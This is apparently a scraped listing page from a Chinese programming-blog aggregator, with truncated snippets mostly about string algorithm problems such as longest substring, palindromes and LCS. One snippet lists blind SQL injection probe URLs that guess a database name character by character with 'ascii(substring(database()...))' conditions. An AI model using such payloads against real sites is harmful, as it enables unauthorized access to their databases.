题目大意:希望在 k 步之内,将尽可能多的1移到相邻的位置上这里依靠前缀和解决问题我们用pos[i]保存第i个1的位置,这里位置我以1开始用sum[i]保存前 i 个1从 0 点移到当前位置所需的步数每次进行判断能否将 st 号 到 la 号的1移到相邻位置,我们要先清楚,为了使移动步数最少,我们需...
分类:
其他好文 时间:
2015-01-05 00:19:23
阅读次数:
111
Given a string, find the length of the longest substring without repeating characters. For example, the longest substring without repeating letters fo...
分类:
其他好文 时间:
2015-01-05 00:18:13
阅读次数:
147
【题目】
Given an unsorted array of integers, find the length of the longest consecutive elements sequence.
For example,
Given [100, 4, 200, 1, 3, 2],
The longest consecutive elements sequence i...
分类:
其他好文 时间:
2015-01-04 23:07:30
阅读次数:
233
http://www.x.com/sections_intr.php?id=181andlength((database()))=4http://www.x.com/sections_intr.php?id=181andascii(substring((database()),1,1))=122http://www.x.com/sections_intr.php?id=181andascii(substring((database()),2,1))=122http://www.x.com/sections_i..
分类:
其他好文 时间:
2015-01-04 19:32:48
阅读次数:
248
sql中 substring和charindex 的用法
分类:
数据库 时间:
2015-01-04 16:31:26
阅读次数:
155
public class Solution { public int lengthOfLongestSubstring(String s) { int maxLen = 0; int maxLenTmp = 0; Map map = new HashMap( s.len...
分类:
其他好文 时间:
2015-01-04 11:03:57
阅读次数:
145
Longest Valid ParenthesesGiven a string containing just the characters'('and')', find the length of the longest valid (well-formed) parentheses substr...
分类:
其他好文 时间:
2015-01-03 22:20:40
阅读次数:
131
You are given a string, S, and a list of words, L, that are all of the same length. Find all starting indices of substring(s) in S that is a concatenation of each word in L exactly once and without an...
分类:
其他好文 时间:
2015-01-03 17:22:56
阅读次数:
157
Longest Common SubsequenceGiven two strings, find the longest comment subsequence (LCS).Your code should return the length of LCS.样例For "ABCD" and "ED...
分类:
其他好文 时间:
2015-01-03 15:55:06
阅读次数:
177
Longest Palindromic Substring
Question
Solution
Given a string S, find the longest palindromic substring in S. You may assume that the maximum length of S is 1000, and there exists...
分类:
其他好文 时间:
2015-01-03 00:57:31
阅读次数:
272